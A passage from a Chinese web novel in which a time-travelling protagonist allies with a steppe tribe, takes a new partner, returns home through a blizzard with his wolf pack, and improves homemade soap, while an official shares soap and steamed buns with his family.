晚上,为了庆祝安全回到部落还收了些新族人,更是为了招呼李逸这个贵客,乌孤命人杀了一头羊,一半用来烤,一半用来煮。
“我为大家介绍,这是李逸,是我们秃发部落永远的朋友!”
那日遭遇乞伏部落,如果不是李逸和他的狼群出手,秃发部落反而会被乞伏部落灭掉,损失惨重,而那一战后,所有人都重新认识了这个不起眼的中原人,知道不能因为他不够高大就小看了他。
征服一群野蛮人,最好的方法就是表现得比他们更野蛮,更强大。
狼烈和其他人就是这样,自从见识了李逸的强大后,他们也不再仇视李逸,反而觉得乌兰选择李逸是她有眼光。
乌兰之前就说过,想要成为她的男人,就必须像乌孤首领一样强大才行,李逸绝对符合这个条件,还从救了乌兰的命,就这两点其他人都无法相比。
“你是强大的勇士,是我们秃发部落的朋友!”
狼烈拿出了他珍藏的马奶酒来招待李逸,以表达之前对李逸鲁莽的歉意,草原人的心思没有那么复杂,性格直爽,看你不顺眼就是看你不顺眼了,敬佩信服也是真心的。
李逸也不是小家子气的人,接过木碗盛的马奶酒一饮而尽。
马奶酒的味道是甜中带酸,酸中带甜,有很浓的奶香味儿,酒精度浓度应是比王金石的粟米酒要高一些,不过对李逸来说依旧是饮料。
提升酒精浓度的核心,是蒸馏技术,以蒸馏的方式提纯就算没有现代的设备,也能将酒精浓度提升到四十到六十之间,是实打实的高度烈酒。
高度酒后面李逸也是要制作的,王金石开的就是酒肆,以现在全都落后的生产制造能力,给他弄出三十度酒,酒水再清亮透彻些,就能让他的酒成为名扬天下的好酒。
见到李逸将一碗酒全都喝下,倒转木碗一滴不剩,这让狼烈觉得是对他的认可,也更佩服李逸,用拳头锤击自己的胸口,发出砰砰声。
“够豪爽!我狼烈
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佩服你!”
“好!”
乌孤开心地鼓掌,越看李逸越顺眼,甚至觉得目前所遇到和认识的人,只有李逸可以配得上他的妹妹。
部落里只有大长老觉得这么对一个中原人有些不妥,还是在心中抵触中原人,平日里对部落里的中原人,他就已经在区别对待,只是碍于乌孤和狼跋,他不敢做得太明显。
乌兰的眉眼一直都是弯弯的,越看李逸越喜欢,全身上下就没有她不喜欢的,而这一切全被她的阿娘看在眼里。
吃喝尽兴,李逸被乌兰引着去了给他安排的毡房,外面寒风呼啸,毡房内的牛粪静谧地燃烧着让毡房内多可了一丝温热。
狼群李逸让它们暂时去大鲜卑山的方向,进山之后它们会自行寻找地方躲避风雪,不需要担心它们。
山岭之上......
狼群在岩石的缝隙中躲避着风雪,只有二郎一独自立在风雪之中,看着远方,一动不动的就像是一尊雕塑。
毡房虽是看着有些简陋,但身下和身上都是羊皮牛皮越睡越暖和,出发前李逸和秦心月她们交代过,这次离开要过些时日才能回来。
他想要和草原部落有长期的合作关系,有些东西必须亲自确认,做到心中有数,而不是依赖于幻想和推断。
草原这边是暴风雪,大荒村那边理应也是下着大雪,家里食物充足,还有秦心月在,这点李逸是放心的。
寒风吹在毡房上就像是有人在轻轻地擂鼓,才刚有些困意帘子就被掀开,一阵寒风灌入毡房内,虽是黑乎乎的看不清来人是谁,但李逸能够感受得到是乌兰来了。
“李逸,你睡了吗?”乌兰问道。
“还没....”
确认是李逸的声音,在一阵窸窸窣窣的声音后,乌兰就赤条条地滑进李逸的被窝中,像一条大白**。
草原的姑娘热情奔放,她们可以像男人一样去打猎放牧,也可以变得如水般温柔。
李逸深切地感受到了乌兰的热情和她的温柔。
毡房外呼啸的寒风,似少女的低声呢喃。
“李逸,我要陪在阿娘身边,不能和你去中原,等天气暖了我再过去,好吗!”
“你放心,我是你的女人,只是你一个人的,不会再有其他男人。”
乌兰依偎在李逸怀中,小声地说着。
“好,我等着你。”
呼出人物面板,李逸看到在伴侣一栏又多了乌兰。
【乌兰:好感度50(忠贞)】
这个初始的好感度高得有些离谱,再提升10点就能获得一点自由属性点。
根据其它媳妇的情况来判断,好感度超过40点后提升的速度会比较慢,做了让她们开心惊喜的事情,或者是其它的原因才能大幅度提升。
“乌兰,我需要送给阿娘些什么东西做聘礼吗?”李逸突然想到后问。
乌兰闭着眼用头蹭了蹭李逸的下巴,小声回答:“不用了,那两卷布在我们这比牛羊还珍贵呢,阿娘很喜欢。”
“喜欢布料嘛,下次我过来再给你们带些,对了,我来给你量下身子,到时候也给你做一套新衣服。”
听到李逸这么说,乌兰扬起头,她想到在大荒村时李逸给白雪儿和秦心月她们缝制衣服,那衣服很是好看,她也喜欢。
“真的吗?”乌兰期待地问。
李逸点头:“当然是真的,你都是我的女人了,我还能骗你不成”
“谢谢你,李逸”听语气,乌兰现在是既开心又满足。
“唉?都是我的女人了,你以后应该学她们一样喊我的,喊句来听听”
“夫君!对嘛?”
李逸揉了揉她的乌兰的头。
很快乌兰又变得有些不安分,李逸见状忙说:
“乌兰,你休息会吧,最近几天一直在赶路,都没怎么好好休息的。”
乌兰摇头:“不!不够!你很快要回去了,我要你记住我”
半个时辰后李逸低声开口:
“乌兰,可以了,该休息了”
“不!不够!”
乌兰声音迷离,李逸眼角抽搐.....
第一百章:夫君回来了!
雪在下,风不停......
李逸在秃发部落只逗留了一日,就深深地体会到了草原游牧民族生存的艰难。
“夫君,你该走了,这场雪可能要下好几日的,积雪太厚进入圣山里会很危险,你还是趁早走吧”
刚确认关系正应该是你侬我侬的蜜月期,虽是舍不得李逸,但乌兰也清楚圣山的那一边还有很多人等着李逸回去呢,另外她也担心李逸的安全,好在是知道李逸的强大,也知道狼群还在等着他,穿越圣山这一路不用担心赶路之外的安全问题。
“嗯....等雪停了,你可以来找我。”
李逸牵着大骡子离开,因为风雪太大,他没有让乌兰跟着来送他,二人在风雪中紧紧地相拥。
“乌兰,你要不就和他一起走吧!”
乌兰的阿娘没有种族歧视,只要乌兰喜欢,对方是个能够照顾好她的男人,她就不会反对。
乌兰轻轻摇头,抱住阿娘:“阿娘,我还想多陪陪你呢,等天气好些,我可以去那边找他。”
“好.....都依你.....”
李逸牵着大骡子的背影消失在漫天的风雪之中,骡车没办法在山里使用,就被他留在了这边,李逸知道的大鲜卑山的准确方向,随时根据风向做出调整,即使能见度极低,依旧能够跟着直觉判断出正确的方向。
临近大鲜卑山脉,能够大概看清那条如银色长龙一般的山脉,李逸仰头发出狼嚎之声,这声音让身边的大骡子不安分地甩了甩头。
山岭之上.....
身上落了雪花,表情依旧酷酷的二郎,远远地听到了狼王的嚎叫,它仰起头发出悠长的叫声回应,一只只灰色的身影从躲藏地方出来,狼群随着二郎一起向着山下奔去。
李逸还没有走到山脚下,二郎已经率领着狼群迎了下来,被二十只野狼围住,大骡子越发的不安,李逸连忙安抚它。
狼群又壮大了,看着越发威风的二郎,李逸上前揉了揉它的头。
“走吧,我们回家!”
虽是下了不少积雪,但对李逸来说穿越山林没有任何难度,没有其他人跟着他,反而更方便他使用物品栏,里面有食物和水,还有大骡子的草料,随时需要随时取出。
李逸虽是没有走过,但狼群对这边的环境非常熟悉,只要身体状态不受影响,天黑了依然可以赶路,感觉太冷了就找个背风的地方休息下。
然后就会看到一幅极其和谐的画面,李逸依靠着趴在地上的大骡子,身边是表情酷酷的二郎,周围一圈全都是野狼,依靠在一起抱团取着暖。
大荒村......
白雪儿看着漫天飞舞的白雪,皱着眉头在那掰手指。
“一日,两日,三日......”
“玉竹姐,夫君离开几日了?”
旁边的陈玉竹也一副忧心忡忡的模样:略一思索回答道:“今日便是第十三日了”
“十三日!这眼见着就要半个月了,风雪这么大,夫君还没有回来,你说夫君他没事吧?”
白雪儿是日思夜盼,早也盼,晚也盼,盼到药汤喝光,盼到月事来了,就是盼不到她的夫君归来。
秦心月从院外回来,摘下皮帽子抖了抖上面的雪,她去查看了圈里的牛羊还有马厩里马匹,马厩已经完工,具备遮挡风雨的效果,牛棚和羊棚只完成了框架,无法挡风,但可以遮雪,那些牛羊都凑在一起取暖。
这些是夫君换回来的,秦心月格外上心,这几天都是她和小雨在饲养着,小雨这孩子闲不着,哪怕近几日不做活了,他还是会早早地跑过来,帮着扫雪,去野地里地打草。
对这个孩子大家的感官都不错,李逸更是觉得以后好好培养,长大后是个可以用的人,就看心性到时候会不会有什么变化。
陈玉竹上前帮着秦心月把身上的雪拍落:“心月姐辛苦了”
秦心月看着无精打采的白雪儿,无奈摇头说道:“雪儿,夫君这几日应该就要回来了,你不用担心的”
“不担心,我怎么不担心啊,我看那个乌兰肯定是喜欢上咱们夫君了,万一他们把夫君扣下留在草原怎么办?”
于巧倩从里屋出来,笑着说道:“雪儿担心的,也不无道理,夫君真有可能已经在草原妻妾成群,然后就不想回来了。”
“看吧!看吧!倩儿姐都这么说了!我的夫君啊.......”白雪儿伤心地噘着小嘴。
正说话间,就瞧见有人牵着骡子走进院子,这人的身形很熟悉,大骡子也很熟悉,不正是她日思夜想的夫君吗?
“夫君回来啦!”
刚才还无精打采的白雪儿,整个人突然就变得支棱起来,迈步冲到院子扑进李逸的怀里。
“夫君,你终于回来了,雪儿日夜都在想你啊”
“夫君,还有我!”
陈玉竹也跟着冲出来,扑进李逸怀中。
看着这一对活宝,李逸的脸上露出温柔的微笑。
“心月,倩儿,你们两个愣着干嘛?夫君也对你们肾是想念啊,你们怎能不过来?”
李逸都这么说了,秦心月和于巧倩也都听话的走了过来。
“哎呀,夫君我这一路又累又冷,今日我可是要好好休息下。”
李逸将大骡子交给秦心月,搂着三女进屋,进屋后就像是大爷一样躺在炕上,看着白雪儿她们忙碌着。
“小婶婶,三叔回来了吗?”
豆子和大丫又来了.....
李逸十几日未归,张绣娘的心里也担忧着,没有活做的这几天,每天都会让豆子和大丫过来询问,积雪厚得没到豆子的小腿处,在雪中走得吃力,模样憨憨的很是可爱。
“刚回来的,让你娘过来吧”
知道嫂嫂也在担心着李逸,白雪儿便是让两个小家伙回去喊张绣娘。
“太好了,三叔回来,娘天天说她想三叔,这回不用想了。”
豆子兴高采烈地欢呼,旁边的大丫抓住他的胳膊小声责怪:“哎呀,你别乱说话,婶婶们会生气的!”
豆子听后脸色一白,连忙扯着脖子又喊道:“我....我娘没想三叔,她晚上也没偷着哭.....真的!”
没多久就看到大丫和豆子带着张绣娘过来。
“哎呦,李逸,你咋去这么久啊,大家都担心你呢,那些人可是蛮子啊!”
看到李逸回来,张绣娘的眉眼都带着笑意,发自内心的开心着。
“绣娘,给弄碗面条吃,今日我是什么都不想做,就让你们服侍伺候我了。”
“好,你说吃啥我就给你弄!”张绣娘开心地应了声。
前后一个半月的时间,每天都吃好睡好心情也好,张绣娘容光焕发看着又年了轻几岁。
最重要的,是她有白雪儿她们所不具备的那种成熟的韵味,身材比起之前要丰腴了,除了双手因为天天做活看着粗糙些,其它地方都白嫩了不少,越发美艳动人。
豆子和大丫的变化也很大,之前干瘦的就像是两根小豆芽菜,现在小脸肉乎乎的,看着虎头头脑的有些可爱,大丫的个子更是很明显的长高了不少。
而像是白雪儿,于巧倩她们,是又恢复了以前大门大户的小姐身份,模样越发清秀可人。
“哎呦我去,人生赢家啊.....”
李逸坐在炕上,白雪儿和陈玉竹在炕下一左一右给他洗脚,一人一只。
秦心月和于巧倩坐在炕上,一左一右给他揉捏肩膀手臂,豆子和大丫看着有意思,就凑过来一人一边给李逸捶腿。
“乖乖,怪不得都愿意当昏君啊,这要是有一群爱妃,皇帝谁当谁不迷糊啊”
李逸小声嘀咕。
“夫君,你又开始口无遮拦了!”
于巧倩嗔怪地说了句,手上的力道也跟着重了三分。
“三叔,什么是昏君啊?听着很厉害,我长大也想当昏君!”豆子瞪着乌溜溜的眼睛,好奇地问。
李逸伸手摸了摸他的小脑袋,笑着说:
“你这志向也太远大了,听三叔一句劝,那不是人当的,还是先当个人吧。”
“哦.....”豆子似懂非懂地点点头。
“面条煮好了,快趁热吃.....”
张绣娘笑着将一大碗面条端进来放在炕桌上。
李逸环视一圈问道:“你们都吃饭了吗?要不大家一起吃?”
众女一同摇头,只有豆子和大丫舔了舔嘴唇。
“绣娘,给俩孩子也煮些面条,对了,我刚看见小雨那孩子在外面呢,让他也进来吃一碗。”
“好!”张绣娘答应了一声,转头用手指点着两个孩子的额头,嗔怪道:“哟!
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你们两个小馋鬼,不是中午才吃的馒头嘛,这么一会儿又饿了?”
“我去喊小雨!”陈玉竹戴上皮帽子出门,不多时就将一个身上全是雪的孩子领进屋里来。
“三叔!各位婶婶”小雨面对李逸时还显得有些紧张。
“小雨,洗洗手来吃面”李逸指着水盆说道。
小雨连连摇头:“不了三叔,中午在干娘那吃过。”
“唉?中午那中午的,眼瞅着就要天黑晚上了,过来趁热吃!”
见李逸招手,小雨听话的走过来在旁边坐下,看表情有些拘谨。
“我这些大牲口,喂养都不错,全是小雨你的功劳啊,好好干活,再学个手艺,长大好好孝顺你干娘,三叔不会亏待你的。”
“嗯,知道了三叔!”小雨乖巧点头,跟着李逸和豆子大丫,一起吃碗里热乎乎的面条。
这是小雨第一次吃面条,眼睛不由自主地瞪大,一口口小心翼翼地吃着,细细地品味这个味道。
李逸吃好后换了身衣服,还将自己丑丑的皮帽子戴上,整个人的气质又回来了,走出院子他先来到马厩查看,这些马看到他表现的还有些抗拒。
交换回来,李逸还没来得及仔细观察,绝对都是脚力极好的好马,小马中有公马长大后可以留着配种,他又去牛圈和羊圈转了一圈,确定每一头的状态都很好。
除了吃肉的大羊,李逸还意外地发现有三头绵羊,绵羊的羊毛可是好东西,等到了春末夏初时将**剃光,之后用纺车制作成毛线,用两根细长的竹签子或者是木签子,就能织毛衣,帽子围巾和手套,纯羊毛制作的冒险贴身又保暖。
去了一趟草原,被暴风雪洗礼,要不是出发前给自己弄了件狼裘,李逸觉得自己有可能冻死在冰天雪地中。
打开草料房,看到里面满满的干草,就知道是小雨这个孩子弄的。
“三叔,需要**什么活吗?”
吃碗面条的小雨,见到李逸出去也跟着跑了出来。
李逸揉揉他的头,笑道:“行了,今日没什么活了,回去歇着吧,明日再过来”
“好的三叔”小雨说完,快步跑去陈氏家。
李逸看着这些牛羊,心里美滋滋,这买卖做得简直绝了,又和乌兰确认了关系,以后他和秃发部落就是很坚实的盟友伙伴,大家互利共赢。
明年开春后,最好是秃发部落能占据到峡谷出口附近,这样一来方便交易往来,能节省很多时间。
虽说游牧民族因为要放牧的特性,部落必须一直移动,但也应该占据些有利的位置,弄一个固定据点,距离大鲜卑山近,完全可以用木头和石头搭建出一座建筑群,利用好建筑群,易守难攻。
李逸和乌兰确定关系后,那乌孤就是他的大舅哥,也是自家人,如果可以他当然是希望自己的大舅哥能统一鲜卑部落,发展壮大后和突厥抗衡,最后甚至一统大草原。
李逸看了眼木槽里的草料,秦心月有按照他的要求来喂养,将草料掺入小麦麸皮和黄豆,不能喂生豆需要蒸熟捣碎,每日所吃的数量也有限。
天色很快就黑下来了.......
原本欣喜李逸回来的白雪儿又蔫了,心情看起来很不美丽!
姐姐们都在沐浴,夫君也说要沐浴,可她偏偏是来了月事啊!
陈玉竹小声趴在李逸耳边,眼角含笑地偷偷告诉他,李逸听后也哭笑不得。
“雪儿,你来月事啦?”
白雪儿嘴一撇:“是呀夫君,昨日来的,你就不能早回来几日嘛?”
李逸笑着说:“放心,这暴雪封山封路,你夫君我最近一段时日都在家里,等你月事好了,天天让你侍寝,直到你有身孕为止,行了吧?”
听李逸这么说,白雪儿表情总算是缓和了些。
熄了灯后,李逸嘿嘿笑道:“三位爱妃,谁先侍寝啊?”
“倩儿姐”
“玉竹妹妹”
“玉竹妹妹”
秦心月和于巧倩很默契,都将票都给了陈玉竹,陈玉竹则是投了于巧倩一票。
“哦......那就从心月开始,看样子心月是不太想夫君啊......”
“夫君.....你”
秦心月还想狡辩,手腕就被李逸握住,稍一用力人已经换了被窝.....
第一百零一章:平阳郡
平阳郡城......
虽说周之栋和林平是在大雪之前离开的安平县城,但在途中还是遇上了大雪,好在是出了安平县城和临县的范围后雪小了很多,官道上的积雪也不影响通行。
连续赶了十日路,马车终于返回了平阳郡城,到这边天气虽是还冷,但已是比安平县城那边好了太多。
“大人,去哪?”
“去...郡守府吧.....”
“好嘞,您坐好!”
周之栋奉命替郡守大人巡查下面县城,前后加起来足有两月时间,如今回到郡城,天色尚早,自是应该直接去郡守府汇报。
郡守府书房内.....
郡守孙浩然正在阅读从州里送来的文书,内容的核心是圣上打算采用丞相的建议,由朝廷掌管贩盐的买卖,设立大司农官职,位列九卿,有皇帝直接选拔,下设立各地盐官,单独于各体系之外,各地方必须协同且无权干预,统一盐价后,大齐将不允许再贩卖私盐,若违反以重罪处置。
孙浩然轻抚胡须,盐商暴利,若能将贩盐的生意收为国有,所得钱财却是可以充实国库,大齐王朝初建,正是应该充实国库增强国力,丞相此法确实可行。
只不过实施起来,一大批做着贩盐买卖的盐商,是被波及的最严重,怕是要从新寻找生计。
不过既是要设立盐官,理应从各地方挑选人来做地方的盐官,优先便是考虑最大的盐商,不过新帝重农轻商,还要提防地方盐商从中获利,具体如何安排,只能等陛下施行此新政后才能知晓,各地官员谨遵圣意即可。
“禀告大人,都吏周大人回来了”
“哦?让他过来了吧”
“是.....”
新政实施尚且需要些时日,到时候州牧大人和告诉各地郡县应该如何配合,眼下的当务之急需要确认是分田和各县人口的新生儿,这是陛下最为关心的。
“下官,周之栋参见大人”
孙浩然放下手中册子,看向风尘仆仆的周之栋,抬了抬手示意:
“起来吧,你替我巡查下面县城,一出去便是两个月,真是辛苦你了。”
周之栋连忙起身:“替大人分忧,本就是属下的分内之事,不觉辛苦。”
说罢他将事先整理好的册子奉上:“大人,这是属下汇总出来的各县城的分田进展和人口,请大人过目。”
孙浩然接过,仔细查看里面的内容,确认下属个县城目前的分地亩数后微微点头:
“尚可,所分田地,虽说没有到预期,但也能让州牧大人和陛下交差了。”
继续向后翻看,后面是各县城百姓人口的统计数字,当看到安平县城的人口时,孙浩然不自觉皱起眉头。
“嘶....这安平县.....为何人口如此之少啊?竟是还不足其它县城的一半?”
周之栋连忙上前一步解说,还将分地的事情也说了一遍。
孙浩然听后眉头稍缓:“也确实难为了地方官了,这安平县最偏远,人口最少,也是最穷的。”
“你做得不错,无论是在分地和鼓励生育之事上,处理得都很得当,辛苦你了,来年开春种地,还得辛苦你去一趟这安平县,去看看县下所属村子耕地的情况,只要将安平县提升上来,我们整个平阳郡便能让州牧大人放心。”
“行了,我已心中有数,未来几日你便在家中好好和亲人团聚,好生休息下。”
周之栋拱手行礼:“是,属下多谢大人体恤”
见周之栋没有要离开的意思,孙浩然放下手中册子,抬头问道:“怎么?你还有其它事情吗?”
周之栋从宽大袖口内摸出一个红木小盒子,摆在桌上。
孙浩然看向红木盒子疑惑问道:“这是何物?”
“回大人,这是属下偶然所得的新奇之物,觉得是个不错的东西,就带回来献给大人”
“哦?新奇之物?”
听周之栋如此说,孙浩然也有些好奇,他拿过红木盒子,打开向内看了一眼,里面安静地躺着一块方方正正的东西,看质地,非石非玉。
“这是?”孙浩然微微皱眉。
“大人,此物名为肥皂,可以用来洁身,净面,沐浴,效果出奇的好。”周之栋介绍。
他用过张贤的那块肥皂洗过手,很清楚这肥皂的妙用,且洗完之后没有任何的不适感觉。
孙浩然微笑点头:“哦?若真是如此,确实是个不错的新奇之物,我收下了。”
“除了这肥皂,下官还在安平县吃了些新奇的吃食,只可惜有些无法带来给郡守大人品尝了。”
周之栋从安平县城离开时,伍思远特意为他们带了些馒头和包子,只不过这一路走来已经冻得和石头一样硬邦邦的,想要吃必须使用那个笼屉里,放在锅上蒸煮片刻才行。
“呵呵......一些地方的特殊吃食,我还是吃了不少的,没关系,等日后有机会我亲自巡查之时再去品尝吧....”
看孙浩然的表情,是并没有将此当成一回事。
周之栋也不好再多说什么,告退回离开郡守府。
离家已有两月,他确实也有些想念家人。
马车在家门口停下,院内的下人听到动静连忙迎出来。
林平一手拎着装着馒头和包子的袋子,另一只手拿着可以蒸馒头的笼屉。
“夫君辛苦了.....”
周之栋的三个夫人还有一双儿女都迎了出来,平日里一丝不苟的都吏大人,看到家人终于露出了温和的微笑。
“都进屋说,外面凉....”
林平拿着馒头和笼屉去了后厨,笼屉只有一个,他若是拿走,硬邦邦的馒头和肉包都吏大人根本没法吃,所以要在都吏大人这蒸好之后再拿着回家,想着可以给娘和妹妹尝尝这新奇的吃食。
“唉?林平呢?”
回过神后,周之栋发现刚才还在身边的林平消失了。
“夫君,我瞧见他拎着东西去了厨房。”
听林平去了厨房,周之栋便是知道那小子去做什么,摇了摇头苦笑。
“怎么了夫君?”
“没事,就是从下面县城带回了些新奇的吃食,一会弄好了大家就能品尝了。”
“穷县城里的吃食,那能有多好吃?”
周之栋的三夫人娘家在郡城也算是个富户,也经营食肆的买卖,自是不会将下面小小县城的吃食当回事,在她看来,小县城的穷苦人,吃的东西也好不到哪去。
进屋后,三位夫人少不得对周之栋一阵嘘寒问暖,子女更好奇他一路的所见所闻。
没过多久,林平就端着冒热气的蒸笼过来了。
“大人,馒头和包子热好了,你们趁热吃,我要趁热带回去。”
林平将笼屉放在桌上后就急匆匆跑了出去,他这副模样周之栋也很是无奈,林这人确实是不拘小节了些,有些时候还差些礼数,但他心性不坏,周之栋就是看中他这点。
“夫君.....这奇怪的木笼子是什么?”
大夫人看着桌上的笼屉很是不解,其他人也都是第一次见。
“是啊爹爹,这是什么啊,看着真稀奇”
大女儿,眨动着灵动的眸子小声询问。
周之栋上前将笼屉的盖子拿下,里面的热气瞬间扩散开,丝丝缕缕,袅袅升腾。
众人的视线看向笼屉内......
上面摆着一个个圆滚滚的东西,有白的也有黄的,因为加入了粟米面的馒头和肉包子味道更独特,安平县有不少人都喜欢吃这种小麦面粉和粟米面粉混合后蒸制的馒头,王记顺应口味每天都会蒸制两种,食客可根据个人喜好选择购买。
“夫君.....这为何物?看着倒是挺喜人的”大夫人转头看向周之栋。
“三妹,你可知道这是何种吃食?”二夫人向来与三夫人不合,故意向她提问。
三夫人一声冷哼:“这吃食,看着也没什么特别之处嘛,果然是小地方的东西”
清官难断家务事,对家里的一些情况周之栋虽是清楚,但也无可奈何,他拿起一个馒头掰开,给了大夫人一半自己拿着另一半放到嘴边咬了一口。
“嗯.....就是这个味道”周之栋慢慢咀嚼。
见他这副模样大夫人也放到嘴边轻咬了一口,最先感受到的便是松软的口感,随后是那种无法言明的独特口味儿。
“这.....”
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大夫人被这吃食惊得说不出话来。
周之栋笑着拿起一个馒头掰开递给两个孩子,二夫人那边也拿起了一个,第一口惊艳,之后越吃越是喜欢这种味道。
见大家都没有出声,三夫人翻了翻白眼,心说:你们这些人真是没吃过什么好东西,下面穷县城带回来的吃食,还能有多好吃?
三夫人伸手拿起一个白色的馒头,只掰了一小块塞进嘴里,微酸的麦香味儿瞬间侵占了她味蕾,松软的口感让她也感觉惊艳。
要放下的手顿住,她好奇地将馒头拿到面前细细观察,随后又咬了一大口,随着咀嚼的动作,她的眼睛逐渐瞪大,眼神中满是不可思议,怎么会有如此好吃的吃食?
这真是夫君从小县城里带回来的?该不会是都城里的新吃食,夫君故意说是从县城带回来的。
“看样子,三妹也是没吃过这小县城的吃食了?可还满意?”二夫人的嘴角带着淡淡的讥讽。
“哼......勉强可以入口罢了。”
三夫人故作姿态,吃馒头动作却是一点都不慢,眼看着就要吃完,周之栋拿起了一个上面有褶皱的,轻轻掰开后,众人发现这里面竟是包着肉!一股肉香味随之扩散开。
“爹爹,好香啊,这和刚才的不一样!”小儿子惊喜地说道。
周之栋笑着解释:“刚才那叫馒头,而这个里面有馅的是包子,你们尝尝,那林平最是喜欢吃这个。”
两个孩子从他手中接过,迫不及待地就往嘴里送,咬了一口后,他们的眼睛瞪溜圆,感觉眼神都清澈了。
“爹爹!这个包子比馒头还要好吃!”
“是啊,爹爹!这包子太香了!”
见两个孩子如此表现,三位夫人都很好奇。
三夫人将手中的小半块馒头直接塞进嘴里,伸手拿了一个包子过来,一抻脖子将馒头咽下,面色冷淡地说道:“小孩子就是没吃过什么好东西。”
三夫人说着,咬了一大口,包子里的肉馅带着些汁水进入嘴里,那种混合在一起的香味,瞬间就将她征服。
【这包子,怎能如此好吃!】
二夫人看她的模样心中讥讽,但很快她也顾不上了,因为这包子是真的很好吃,里面明明有肉却吃着一点都不觉得腻,一个包子吃下去,吃得有些意犹未尽。
二夫人和三夫人的手一同伸出,抓住了同一个包子,趁着她们两个僵持时,大夫人将旁边的一个包子拿起,笑盈盈地送到嘴边咬了一口。
两个孩子也紧跟着先后拿起两个,如此一来笼屉就只剩下这最后一个肉包子。
见二人丝毫不相让,周之栋无奈伸手过去将包子拿起,掰开之后一人一半。
周之栋记着,肉包子应是有二十个才是,眼下这才吃了几个就没有了。
心中苦笑:林平倒是不客气,知道肉包子好吃,多给自己的娘和妹妹带回去几个。
“夫君,这馒头和包子真是一绝啊!我还没吃过这么可口的吃食呢。”
大夫人轻轻地擦了擦嘴角,还是觉得有些意犹未尽。
周之栋坐下回味着说道:“只可惜,那面条和白玉豆腐没办法带回来”
“面条?白玉豆腐?”
三夫人听后双眼放光,面条听着还不觉得什么,但白玉豆腐一听便是更珍奇之物。
“面条也是用那小麦粉制作的,应是不难,倒是那白玉豆腐制作起来似是有些复杂,豆香浓郁,口感嫩滑......”
两个孩子听闻用力地吞咽唾沫:“爹爹,我们也想尝尝”
周之栋拿起茶盏笑着说:“路途遥远,如今又是下了暴雪,不过你们也不用心急,相信等个一年半载这新奇的吃食就会出现在郡城里.....”
林平家......
见到哥哥回来,小妹林菀很是开心地喊道:
“娘,哥哥回来了?”
林母听闻连忙从屋里出来,看着皮肤变黑又清减了几分的儿子,眼里即使欣喜又有些心疼。
“平儿,这次回来应是不出去了吧?”
林平抱着肚子快步走进屋里,嘴里不住地催促:
“娘!小妹!快进屋,我给你们带了好东西,趁热吃!”
第一百零二章:肥皂升级,改造纺车
大荒村.....
这场大雪下了三日,之后又下了三日小雪,听何铁牛说这场雪可是比往年都要大上一些,积雪足有一尺多深,以豆子和大丫的个子,积雪都能没过他们的膝盖。
村里每家每户的房子都是茅草木屋,担心被积雪压塌屋顶,下雪这期间李逸便是让何铁牛去挨家挨户地帮着清理屋顶的积雪,他们两个是如今村子里唯二的精壮男丁,有些事情还真就需要老爷们来做。
登高上房这种活,一般女人们是做不来的,当初张绣娘不就是想要修理自己屋顶才摔伤的。
闲来无事,李逸就在家里鞣制狼皮,这上好的狼皮处理得当是冬日里抵御寒冷的最佳皮货,另外这些狼皮大概率在大荒村这一代已经绝版了。
李逸是挂机狼王,但他的二当家是帮他把收小弟的活全都干了,这个冬天结束,整个大鲜卑山怕是就只有他们这一支狼群了,堂堂狼王自是不能用自己的小弟做皮衣。
嗷呜......
山林方向,二郎站在山岭望着远处被大雪覆盖的村子,在它的旁边站着一道火红的身影,那是赤狐。
自从二郎入驻山林外围后,赤狐被吓得根本不敢靠近这边,以前的窝都被迫换了地方。
李逸从草原穿越山岭回来时,正好遇到了赤狐,费了些力气他才算是让二当家清楚了赤狐是朋友,不是猎物。
然后以赤狐的灵性,自是不会浪费这免费的打手,发现了自己搞不定的猎物它就过来找二郎帮忙。
二郎虽是骨子里不喜欢赤狐,但它会听从狼王的一切命令,就在刚刚,赤又狐找了过来,二郎站在那表情酷酷的,赤狐的脸上却是出现了人性化的笑容。
片刻后....二郎带着六只野狼随赤狐一同离开,积雪很厚它们的行动艰难,走了很久来到一处山谷中,这里正有两只野鹿在用蹄子刨雪觅食。
二郎见状也切换到狩猎状态,狼群默契地散开悄悄合围过去,积雪很厚,在雪中奔跑吃力很里,只要被包围住,这两只野鹿一只也得别想逃脱。
二郎和赤狐占据了有利的最高点,确定其它野狼都就位后,二郎仰头嚎叫发出进攻的号令。
狩猎开始,两只野鹿惊慌逃窜,狼群已经做出埋伏,无论它们从哪个方向逃窜都会被野狼拦截。
两只野鹿全都被咬断脖子,二郎将其中一只留下来进食,还分给了赤狐一条后腿肉,另一只野鹿被它和两只野狼一路拖向山林外。
风停了,雪也停了,天**得放晴,李逸让四女穿得厚厚的带着她们一同进山摘松针。
肥皂的效果比李逸想象中的还要好,去污力足还有亲肤润肤的效果都远超他的预期,如此来看现代商超那些多都是添加了大量化学成分的产物,降低成本提升利润。
目前,肥皂唯一的缺陷是那种淡淡的油腥味,冬日里找不到花朵,李逸所能够想到的是用新鲜的绿松针压榨出油,不过松针的出油率低得过分,还不到百分之一,一百斤也弄出一斤精油,耗时耗力收获又低。
按理论来说,皂化反应足够彻底是没有油腥味儿的,可眼下的条件是什么都没有,混合比例都是凭感觉来,出现皂化不够彻底的情况很正常,残留下淡淡的油腥味。
所有李逸会想着用松针油的清香配合豆油清香,去遮掩猪油的淡淡腥味,另外松针汁水的绿色还会给肥皂着色,美观又有清香的肥皂,制作出来就是这个时代顶级奢侈用品。
五个人艰难地在积雪中走着,李逸随手捏了个小雪球丢向了白雪儿,雪球打在白雪儿的头顶破碎,雪落在她的脸上和肩膀上。
“嗯.....这样就真的是雪儿了”李逸很认真的点头评价。
“好啊夫君,你敢打我,玉竹,倩儿姐帮我打他!”
在一片欢声笑语中,雪球飞来飞去.....
嗷呜.......
狼嚎声从山林的方向传来,李逸刚停下动作,迎面一个雪球就打在他的脸上。
“我打中夫君啦!”白雪儿欢呼,咯咯地娇笑。
四女停下手中动作都看向山林方向,不多时就看到有三只野狼在雪中拖拽着什么,旁边还跟着一道赤红的影子。
秦心月认出了是那赤狐,也没想到它竟是会和狼群一起过来。
赤狐在雪中艰难地跑过来,围绕着李逸和白雪儿他们转圈,白雪儿和陈玉竹觉得的赤狐很可爱,很是喜欢。
李逸笑着走向二郎的方向,看到了那头被它们拖过来的野鹿,这么遥远的距离,还真是辛苦他们了。
李逸刚要伸手,二郎已经将脖子伸直了,抬头挺胸,那酷酷的眼神中藏不住期待,或许在它看来这是狼王李逸对它的一种特殊的嘉奖。
李逸开启撸狗模式,另外两只野狼一直在旁边看着,眼神有些跃跃欲试,李逸也让它们感受了下撸狗的快乐,看它们张嘴伸舌头的表情,同样受用。
“回去吧!”
